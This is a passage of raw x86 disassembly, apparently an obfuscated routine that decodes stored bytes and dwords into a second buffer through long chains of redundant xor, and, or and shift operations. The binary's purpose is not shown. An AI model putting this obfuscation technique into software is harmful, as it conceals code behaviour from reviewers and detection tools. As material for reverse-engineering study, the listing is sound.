or ah, al
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
or ah, 0x6a
and dl, ah
mov al, dl
xor al, 0xff
and al, 0xd8
and dl, 0x27
or al, dl
xor al, 0x27
mov byte [0x474f75], al
mov al, byte [0x474e76]
xor al, 0x2d
mov byte [0x474f76], al
mov al, byte [0x474e77]
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov cl, al
xor cl, 0xff
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
mov dl, ah
or dl, 0xb6
xor dl, 0xff
or ah, 0xb6
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor dl, 0xff
or al, 0x49
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
or dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x474f77], dl
mov al, byte [0x474e78]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x83
or al, 0x83
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474f78], dl
mov al, byte [0x474e79]
xor al, 0x67
mov byte [0x474f79], al
mov al, byte [0x474e7a]
mov cl, al
xor cl, 0xff
and cl, 0xc1
and al, 0x3e
or cl, al
xor cl, 0xb6
mov byte [0x474f7a], cl
mov al, byte [0x474e7b]
xor al, 0x89
mov byte [0x474f7b], al
mov al, byte [0x474e7c]
mov cl, al
xor cl, 0xff
and cl, 0xd9
and al, 0x26
or cl, al
mov byte [str._C_], cl
mov al, byte [0x474e7d]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
mov dl, ah
and dl, cl
xor dl, 0xff
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
and dl, 0xcc
or al, 0xcc
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474f7d], dl
mov al, byte [0x474e7e]
mov dl, al
xor dl, 0x16
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x16
shl dl, 1
sub dl, 0x16
sub al, 0x5e
sub al, dl
add al, 0x5e
mov byte [0x474f7e], al
mov al, byte [0x474e7f]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x74
and al, 0x8b
or dl, al
mov byte [0x474f7f], dl
mov al, byte [0x474e80]
mov cl, al
and cl, 0xc4
shl cl, 1
mov dl, al
add dl, 0xc4
sub dl, cl
xor dl, 0xff
xor dl, 0xff
xor dl, 0xc4
and dl, 0xc4
shl dl, 1
sub dl, 0xc4
add al, 0x91
sub al, dl
sub al, 0x91
mov byte [0x474f80], al
mov al, byte [0x474e81]
xor al, 0xff
mov byte [0x474f81], al
mov al, byte [0x474e82]
xor al, 0x3e
mov byte [0x474f82], al
mov al, byte [0x474e83]
mov cl, al
xor cl, 0xff
and cl, 0x58
and al, 0xa7
or cl, al
mov byte [0x474f83], cl
mov al, byte [0x474e84]
xor al, 0x50
mov byte [0x474f84], al
mov al, byte [0x474e85]
xor al, 0xea
mov byte [0x474f85], al
mov al, byte [0x474e86]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xc5
and cl, 0xc5
and al, 0x3a
or cl, al
xor cl, 0x3b
mov byte [0x474f86], cl
mov bl, byte [0x474e87]
mov dl, bl
and dl, 0xfa
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 6
sub bl, al
mov byte [0x474f87], bl
mov cl, byte [0x474e88]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x4e
xor al, 0xff
xor cl, 0xff
and cl, 0x4e
or al, cl
xor al, 0xff
mov byte [0x474f88], al
mov al, byte [0x474e89]
xor al, 0x1d
mov byte [0x474f89], al
mov al, byte [0x474e8a]
mov cl, al
and cl, 0xf0
shl cl, 1
sub al, 0x10
sub al, cl
mov byte [0x474f8a], al
mov al, byte [0x474e8b]
mov cl, al
xor cl, 0x90
xor cl, 0xff
and cl, 0x90
shl cl, 1
sub cl, 0x90
sub al, cl
mov byte [0x474f8b], al
mov cl, byte [0x474e8c]
mov al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x13
xor cl, 0xff
mov dl, cl
and dl, 0xec
xor cl, 0xec
or dl, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov byte [0x474f8c], al
mov al, byte [0x474e8d]
mov dl, al
xor dl, 0x6f
xor dl, 0xff
or dl, 0x90
add dl, 0x70
shl dl, 1
sub dl, 0xe4
sub dl, 0x6f
add dl, 0xe4
sub al, dl
mov byte [0x474f8d], al
mov al, byte [0x474e8e]
xor al, 9
mov byte [0x474f8e], al
mov al, byte [0x474e8f]
mov cl, al
xor cl, 0xff
and cl, 0xc4
and al, 0x3b
or cl, al
xor cl, 0xc0
mov byte [0x474f8f], cl
mov al, byte [0x474e90]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
xor dl, 0x55
and dl, cl
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x55
add al, cl
or dl, al
xor dl, 0xff
mov byte [0x474f90], dl
mov dl, byte [0x474e91]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
xor al, 0xff
xor al, 0x60
and al, 0x60
xor dl, 0xff
or dl, 0x60
xor dl, 0xff
and dl, 0xff
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
and al, 0xaf
shl al, 1
add cl, 0xaf
sub cl, al
mov byte [0x474f91], cl
mov al, byte [0x474e92]
mov cl, al
xor cl, 0xff
and cl, 0xbf
and al, 0x40
or cl, al
xor cl, 0x72
mov byte [0x474f92], cl
mov al, byte [0x474e93]
xor al, 0x65
mov byte [0x474f93], al
mov al, byte [0x474e94]
xor al, 0x42
mov byte [0x474f94], al
mov cl, byte [0x474e95]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xfc
xor al, 0xff
mov dl, cl
and dl, 3
xor cl, 3
or dl, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x474f95], al
mov al, byte [0x474e96]
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov dl, ah
xor dl, 0xff
or dl, 0xaa
and ah, 0x55
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
and al, 0xaa
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
mov cl, dl
xor cl, al
add dl, cl
sub dl, ah
mov byte [0x474f96], dl
mov al, byte [0x474e97]
xor al, 0xf8
mov byte [0x474f97], al
mov al, byte [0x474e98]
xor al, 0x6e
mov byte [0x474f98], al
mov al, byte [0x474e99]
xor al, 0xbb
mov byte [0x474f99], al
mov al, byte [0x474e9a]
xor al, 2
mov byte [0x474f9a], al
mov al, byte [0x474e9b]
mov dl, al
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, dl
and ah, 0xb0
mov cl, al
and cl, 0x4f
mov ch, dh
and ch, 0xb0
mov bl, al
and bl, 0x4f
or ah, cl
or ch, bl
xor ah, ch
or dl, dh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 3
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 3
add al, cl
or dl, al
xor dl, 0xff
mov byte [0x474f9b], dl
mov al, byte [0x474e9c]
mov cl, al
xor cl, 0x8c
xor cl, 0xff
and cl, 0x8c
shl cl, 1
sub cl, 0x8c
sub al, cl
mov byte [0x474f9c], al
mov bl, byte [str.Bt_ri]
mov dl, bl
and dl, 0x2f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x2f
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x474f9d], bl
mov al, byte [0x474e9e]
xor al, 0x47
mov byte [0x474f9e], al
mov al, byte [0x474e9f]
mov cl, al
xor cl, 0xff
and cl, 0x71
mov dl, al
xor dl, 0x8e
xor dl, 0xff
or al, 0x8e
and al, dl
or cl, al
mov byte [0x474f9f], cl
mov al, byte [0x474ea0]
xor al, 8
mov byte [0x474fa0], al
mov al, byte [0x474ea1]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x6c
or al, 0x6c
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x474fa1], cl
mov al, byte [0x474ea2]
mov cl, al
xor cl, 0xff
and cl, 0x8e
mov dl, al
xor dl, 0x71
xor dl, 0xff
or al, 0x71
and al, dl
or cl, al
mov byte [0x474fa2], cl
mov al, byte [0x474ea3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x22
or al, 0x22
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474fa3], dl
mov cl, byte [0x474ea4]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xeb
and cl, 0xeb
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x474fa4], al
mov al, byte [0x474ea5]
mov cl, al
and cl, 0x76
shl cl, 1
add al, 0x76
sub al, cl
mov byte [0x474fa5], al
mov al, byte [0x474ea6]
mov cl, al
xor cl, 0xff
and cl, 0x14
and al, 0xeb
or cl, al
mov byte [0x474fa6], cl
mov al, byte [0x474ea7]
xor al, 0xdd
mov byte [0x474fa7], al
mov al, byte [0x474ea8]
mov cl, al
xor cl, 0xff
and cl, 0xd3
and al, 0x2c
or cl, al
mov byte [0x474fa8], cl
mov al, byte [0x474ea9]
xor al, 0xfe
mov byte [0x474fa9], al
mov cl, byte [str.i_n]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x62
and al, 0x62
and cl, 0x9d
or al, cl
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xe
xor cl, 0xff
xor al, 0xff
or al, 0xe
and cl, al
xor cl, 0xff
mov byte [0x474faa], cl
mov al, byte [0x474eab]
xor al, 0x79
mov byte [0x474fab], al
mov bl, byte [0x474eac]
mov dl, bl
and dl, 0xe9
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xe9
add bl, 0x7f
sub bl, al
sub bl, 0x7f
mov byte [0x474fac], bl
mov bl, byte [0x474ead]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
and dl, al
or dl, 0x47
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x76
add bl, 0xb8
sub bl, 0x76
sub bl, al
mov byte [0x474fad], bl
mov al, byte [0x474eae]
mov cl, al
and cl, 0x89
shl cl, 1
add al, 0x89
sub al, cl
mov byte [0x474fae], al
mov dl, byte [0x474eaf]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xf
add al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
or dl, 0xf
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x474faf], al
mov al, byte [0x474eb0]
xor al, 0xbd
mov byte [0x474fb0], al
mov al, byte [0x474eb1]
mov cl, al
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, cl
mov ah, al
add ah, cl
sub ah, dl
xor ah, 0xff
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xc7
mov cl, al
and cl, 0xc7
xor cl, 0xff
add al, 0xc7
add al, 1
add al, cl
xor al, 0xff
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
mov byte [0x474fb1], dl
mov al, byte [0x474eb2]
mov dl, al
xor dl, 0xff
and dl, 0xf6
mov cl, al
and cl, 9
or dl, cl
xor dl, 9
mov cl, dl
xor cl, 0xe2
xor cl, 0xff
or dl, 0xe2
and dl, cl
and al, 0x1d
or dl, al
mov byte [0x474fb2], dl
mov al, byte [0x474eb3]
mov cl, al
and cl, 0xde
shl cl, 1
add al, 0xde
sub al, cl
mov byte [0x474fb3], al
mov al, byte [0x474eb4]
xor al, 0xa9
mov byte [0x474fb4], al
mov al, byte [0x474eb5]
xor al, 0xb8
mov byte [0x474fb5], al
mov dl, byte [0x474eb6]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, cl
add al, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0x8f
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0x70
add ah, cl
or al, ah
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov byte [0x474fb6], al
mov al, byte [0x474eb7]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x98
xor al, 0xff
and al, 0x67
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474fb7], dl
mov al, byte [0x474eb8]
mov cl, al
and cl, 0x35
shl cl, 1
add al, 0x35
sub al, cl
mov byte [0x474fb8], al
mov dl, byte [0x474eb9]
mov al, dl
or al, al
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x42
add al, cl
or dl, 0x42
mov cl, dl
xor cl, 0xff
and cl, 0xfd
and dl, 2
or cl, dl
xor cl, 2
or al, cl
xor al, 0xff
mov byte [0x474fb9], al
mov al, byte [0x474eba]
xor al, 7
mov byte [0x474fba], al
mov al, byte [0x474ebb]
xor al, 0x43
mov byte [0x474fbb], al
mov dl, byte [0x474ebc]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xb1
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
and cl, 0x4e
mov ah, dl
xor ah, 0xb1
add dl, ah
sub dl, cl
and al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov byte [0x474fbc], al
mov al, byte [0x474ebd]
mov cl, al
xor cl, 0xff
and cl, 0xd8
and al, 0x27
or cl, al
mov byte [0x474fbd], cl
mov al, byte [0x474ebe]
mov cl, al
xor cl, 0xc5
xor cl, 0xff
and cl, 0xc5
shl cl, 1
sub cl, 0xc5
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xc5
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xc5
and dl, 0x3a
sub dl, cl
sub al, dl
mov byte [0x474fbe], al
mov bl, byte [0x474ebf]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0x5a
xor dl, 0xff
mov al, bl
or al, 0xa5
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 0xff
xor dl, 0xff
xor dl, 0xa5
and dl, 0xa5
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xa5
and al, 0x5a
shl al, 1
sub al, cl
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x474fbf], bl
mov eax, dword [0x474fc0]
mov edx, eax
or edx, edx
xor edx, 0xffffffff
or edx, 0x9d27a18a
xor edx, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9d27a18a
xor edx, 0xffffffff
xor eax, 0xffffffff
and edx, eax
mov dword [0x475010], edx
mov eax, dword [0x474fc4]
xor eax, 0xd5dc14f9
mov dword [0x475014], eax
mov edx, dword [0x474fc8]
mov eax, edx
xor eax, 0xffffffff
mov ecx, edx
and ecx, 0xffffffff
shl ecx, 1
mov esi, edx
add esi, 0xffffffff
sub esi, ecx
mov ecx, eax
xor ecx, esi
xor ecx, 0xffffffff
or eax, esi
and eax, ecx
mov ecx, eax
and ecx, 0xbb6b8b99
xor ecx, 0xffffffff
add eax, 0xbb6b8b99
add eax, 1
add eax, ecx
xor eax, 0xffffffff
or edx, 0x44947466
xor edx, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
mov esi, eax
and esi, ecx
mov ecx, eax
xor ecx, edx
add eax, ecx
sub eax, esi
mov ecx, eax
and ecx, 0xffffffff
shl ecx, 1
add eax, 0xffffffff
sub eax, ecx
mov dword [0x475018], eax
mov eax, dword [0x474fcc]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x62307754
and eax, 0x9dcf88ab
or ecx, eax
xor ecx, 0xfc1b2626
mov dword [0x47501c], ecx
mov eax, dword [0x474fd0]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd379f3d4
and eax, 0x2c860c2b
or ecx, eax
xor ecx, 0x34ed035b
mov dword [0x475020], ecx
mov eax, dword [0x474fd4]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xfe324441
and eax, 0x1cdbbbe
or ecx, eax
mov dword [0x475024], ecx
mov eax, dword [0x474fd8]
xor eax, 0x999b5c5c
mov dword [0x475028], eax
mov eax, dword [0x474fdc]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x8e530e3d
and eax, 0x71acf1c2
or ecx, eax
xor ecx, 0x4edb37b
mov dword [0x47502c], ecx
mov eax, dword [0x474fe0]
xor eax, 0xdca7a40c
mov dword [0x475030], eax
mov edx, dword [0x474fe4]
mov eax, edx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
or eax, 0xf7ad6ce3
xor edx, 0xffffffff
or edx, 0x852931c
and eax, edx
xor eax, 0xffffffff
mov dword [0x475034], eax
mov eax, dword [0x474fe8]
mov ecx, eax
xor ecx, 0xaf6b1517
xor ecx, 0xffffffff
and ecx, 0xaf6b1517
shl ecx, 1
sub ecx, 0xaf6b1517
sub eax, ecx
mov dword [0x475038], eax
mov eax, dword [0x474fec]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x43271fdc
and eax, 0xbcd8e023
or ecx, eax
mov dword [0x47503c], ecx
mov eax, dword [0x474ff0]
mov ecx, eax
xor ecx, 0x6e4f1a52
xor ecx, 0xffffffff
and ecx, 0x6e4f1a52
shl ecx, 1
sub ecx, 0x6e4f1a52
sub eax, ecx
mov dword [0x475040], eax
mov eax, dword [0x474ff4]
xor eax, 0xc8eed670
mov dword [0x475044], eax
mov eax, dword [0x474ff8]
xor eax, 0xc048f73c
mov dword [0x475048], eax
mov edx, dword [0x474ffc]
mov eax, edx
xor eax, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
and eax, ecx
or eax, 0x13d94053
xor eax, 0xffffffff
or edx, 0xec26bfac
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov dword [0x47504c], eax
mov eax, dword [0x475000]
xor eax, 0x4f26aed
mov dword [0x475050], eax
mov bl, byte [0x4743c0]
mov al, bl
and al, 0x83
shl al, 1
mov dl, bl
add dl, 0x83
sub dl, al
xor dl, 0xff
and dl, 0x83
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x7c
add al, 1
sub bl, 0xbd
sub bl, al
add bl, 0xbd
mov byte [0x474440], bl
mov al, byte [0x4743c1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x69
xor cl, 0xff
and cl, 0xff
and al, 0x69
or cl, al
mov byte [0x474441], cl
mov al, byte [0x4743c2]
xor al, 0xb4
mov byte [0x474442], al
mov al, byte [0x4743c3]
xor al, 0x9f
mov byte [0x474443], al
mov al, byte [0x4743c4]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov dl, ah
xor dl, 0xff
and dl, 0x92
and ah, 0x6d
or dl, ah
xor dl, 0x6d
xor dl, 0xff
or dl, 0xe9
xor al, 0xff
or al, 0x16
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
xor al, 0xff
or ah, al
mov byte [0x474444], ah
mov al, byte [0x4743c5]
mov dl, al
xor dl, 0xff
or dl, 0xae
mov cl, al
and cl, 0x51
xor cl, 0xff
and dl, cl
xor dl, 0xff
shl dl, 1
mov cl, al
and cl, 0x51
shl cl, 1
xor al, 0x51
add al, cl
sub al, dl
mov byte [0x474445], al
mov dl, byte [0x4743c6]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0x34
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0x34
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
or dl, cl
xor al, 0xff
xor ah, 0xff
or al, ah
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474446], dl
mov cl, byte [0x4743c7]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x21
xor al, 0xff
xor cl, 0xff
or cl, 0x21
and al, cl
xor al, 0xff
mov byte [0x474447], al
mov dl, byte [0x4743c8]
mov al, dl
or al, al
xor al, 0xff
or al, 0x7e
xor al, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0x7e
xor cl, 0xff
or dl, 0x7e
and dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
mov byte [0x474448], al
mov al, byte [0x4743c9]
xor al, 0x2e
mov byte [0x474449], al
mov al, byte [0x4743ca]
xor al, 0x6d
mov byte [0x47444a], al
mov al, byte [0x4743cb]
mov cl, al
xor cl, 0x86
xor cl, 0xff
and cl, 0x86
shl cl, 1
sub cl, 0x86
sub al, cl
mov byte [0x47444b], al
mov al, byte [0x4743cc]
mov cl, al
xor cl, 0xb4
xor cl, 0xff
and cl, 0xb4
shl cl, 1
sub cl, 0xb4
sub al, cl
mov byte [0x47444c], al
mov al, byte [0x4743cd]
xor al, 0x93
mov byte [0x47444d], al
mov bl, byte [0x4743ce]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0x17
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xe8
add bl, 0x1b
sub bl, al
sub bl, 0x1b
mov byte [0x47444e], bl
mov al, byte [0x4743cf]
mov cl, al
and cl, 0xeb
shl cl, 1
add al, 0xeb
sub al, cl
mov byte [0x47444f], al
mov al, byte [0x4743d0]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x97
mov cl, al
xor cl, 0x68
xor cl, 0xff
or al, 0x68
and al, cl
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x65
and dl, 0x9a
mov cl, bl
and cl, 0x65
and al, 0x9a
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x474450], dh
mov al, byte [0x4743d1]
xor al, 0x3d
mov byte [0x474451], al
mov al, byte [0x4743d2]
xor al, 0x7b
mov byte [0x474452], al
mov dl, byte [0x4743d3]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, cl
add al, ah
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x5f
xor dl, 0xff
and dl, 0xa0
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, al
and cl, dl
xor cl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474453], cl
mov al, byte [0x4743d4]
mov cl, al
xor cl, 0xff
and cl, 0x60
and al, 0x9f
or cl, al
xor cl, 0xb4
mov byte [0x474454], cl
mov al, byte [0x4743d5]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x30
xor al, 0xff
and al, 0xcf
or cl, al
xor cl, 0xff
mov byte [0x474455], cl
mov dl, byte [0x4743d6]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
or al, cl
and al, 3
xor al, 0xff
mov dh, dl
xor dh, 0xff
and dh, 0x3c
and dl, 0xc3
or dh, dl
xor dh, 0xc3
mov ah, dh
xor ah, 0xff
mov dl, ah
and dl, 0x2c
and dh, 0xd3
or dl, dh
xor dl, 0x2f
or ah, 0xfc
xor ah, 0xff
and ah, 0xff
or dl, ah
mov ah, al
and ah, dl
xor ah, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x474456], ah
mov al, byte [0x4743d7]
xor al, 0x96
mov byte [0x474457], al
mov al, byte [0x4743d8]
xor al, 0xbb
mov byte [0x474458], al
mov al, byte [0x4743d9]
xor al, 0x96
mov byte [0x474459], al
mov al, byte [0x4743da]
xor al, 0x91
mov byte [0x47445a], al
mov ah, byte [str.wfcCt]
mov al, ah
xor al, 0xff
and al, 0xce
mov dl, ah
and dl, 0x31
xor dl, 0xff
and ah, 0x31
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xb2
mov byte [0x47445b], al
mov al, byte [0x4743dc]
xor al, 0x6d
mov byte [0x47445c], al
mov dl, byte [0x4743dd]
mov al, dl
xor al, 0xff
and al, 0xb5
mov cl, dl
and cl, 0x4a
or al, cl
xor al, 0x4a
xor al, 0xff
or al, 0x41
xor al, 0xff
and al, 0xff
xor dl, 0xff
or dl, 0xbe
xor dl, 0xff
and dl, 0xff
or al, dl
xor al, 0xd6
mov byte [0x47445d], al
mov al, byte [0x4743de]
mov cl, al
xor cl, 0xff
and cl, 0x48
and al, 0xb7
or cl, al
mov byte [0x47445e], cl
mov dl, byte [0x4743df]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0x83
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0x83
xor cl, 0xff
or dl, 0x83
and dl, cl
or al, dl
xor al, 3
mov byte [0x47445f], al
mov al, byte [0x4743e0]
xor al, 0xa1
mov byte [0x474460], al
mov al, byte [0x4743e1]
xor al, 0xbb
mov byte [0x474461], al
mov al, byte [0x4743e2]
mov cl, al
and cl, 0xfe
shl cl, 1
add al, 0xfe
sub al, cl
mov byte [0x474462], al
mov al, byte [0x4743e3]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x65
xor cl, 0xff
and cl, 0xff
and al, 0x65
or cl, al
xor cl, 0xa9
mov byte [0x474463], cl
mov al, byte [0x4743e4]
xor al, 0x58
mov byte [0x474464], al
mov al, byte [0x4743e5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x12
xor dl, 0xff
and al, 0xed
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474465], dl
mov al, byte [0x4743e6]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x96
xor cl, 0xff
xor al, 0xff
or al, 0x96
and cl, al
xor cl, 0xff
mov byte [0x474466], cl
mov al, byte [0x4743e7]
mov cl, al
xor cl, 0xce
xor cl, 0xff
and cl, 0xce
shl cl, 1
sub cl, 0xce
sub al, cl
mov byte [0x474467], al
mov al, byte [0x4743e8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x25
xor dl, 0xff
and al, 0xda
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474468], dl
mov cl, byte [0x4743e9]
mov al, cl
xor al, 0xff
mov dl, cl
